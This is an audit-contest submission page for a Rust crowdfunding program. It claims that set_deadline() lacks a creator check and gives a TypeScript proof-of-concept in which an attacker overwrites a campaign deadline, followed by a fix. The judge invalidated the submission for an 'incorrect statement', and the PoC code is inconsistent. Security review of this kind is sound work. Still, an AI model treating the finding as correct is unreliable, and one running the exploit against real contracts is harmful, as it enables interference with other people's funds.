Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

set_deadline() Missing Creator Signer Check Allows Anyone to Manipulate Any Campaign Deadline

Root + Impact

Description

  • set_deadline() is designed to be called exclusively by the campaign creator to configure the campaign end time after the fund is created.

  • The function has no ownership or signer validation — it does not verify that the caller is the creator of the specific campaign being modified. Any arbitrary wallet can call it and overwrite the deadline of any campaign to any value.

pub fn set_deadline(ctx: Context<SetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
// @> No check that ctx.accounts.creator matches fund.creator
// @> No has_one constraint on the account struct
// @> Any caller sets any deadline on any fund
fund.deadline = deadline;
Ok(())
}
#[derive(Accounts)]
pub struct SetDeadline<'info> {
// @> Missing has_one = creator constraint
#[account(mut)]
pub fund: Account<'info, Fund>,
pub creator: Signer<'info>,
}

Risk

Likelihood: High

  • No authentication of any kind — any wallet on the network can call this function targeting any fund PDA at any time

  • Fund PDAs are publicly derivable from the campaign name and creator pubkey — no private information needed to compute the target

Impact: High

  • Attacker sets any campaign deadline to 0 or a past timestamp — immediately unblocking refunds and freezing new contributions

  • Attacker sets deadline to u64::MAX — locking all contributors out of refunds for the entire lifetime of the program

  • Campaign creators lose all control over their own campaigns with no recovery path

Proof of Concept

The test below shows an attacker wallet — one that has never interacted with the campaign — successfully overwriting the deadline of a creator's campaign to zero. The transaction succeeds because there is no constraint checking that the signer owns the fund. The creator's deadline setting is silently overwritten.

it("attacker overwrites creator campaign deadline", async () => {
// Creator launches a legitimate campaign
await program.methods.fundCreate(name, desc, goal)
.accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: SystemProgram.programId })
.rpc();
const legitimateDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 604800);
await program.methods.setDeadline(legitimateDeadline)
.accounts({ fund: fundPDA, creator: creator.publicKey })
.rpc();
// Fund PDA is derivable by anyone — attacker computes it from public seeds
const [fundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(name), creator.publicKey.toBuffer()],
program.programId
);
// Attacker sets deadline to 0 using their own wallet — succeeds with no error
await program.methods.setDeadline(new anchor.BN(0))
.accounts({ fund: fundPDA, creator: attacker.publicKey })
.signers([attacker])
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
assert.equal(fund.deadline.toNumber(), 0); // attacker overwrote creator deadline
});

Recommended Mitigation

The fix requires two changes. First, add has_one = creator to the #[account] constraint on the Fund account — this is an Anchor built-in that automatically validates the creator field in the Fund struct matches the signer passed in. Second, add an explicit require! as a defense-in-depth check. Together these ensure only the campaign's actual creator can modify its deadline.

#[derive(Accounts)]
pub struct SetDeadline<'info> {
- #[account(mut)]
+ #[account(mut, has_one = creator)]
pub fund: Account<'info, Fund>,
pub creator: Signer<'info>,
}
pub fn set_deadline(ctx: Context<SetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
+ require!(
+ ctx.accounts.creator.key() == fund.creator,
+ ErrorCode::Unauthorized
+ );
fund.deadline = deadline;
Ok(())
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!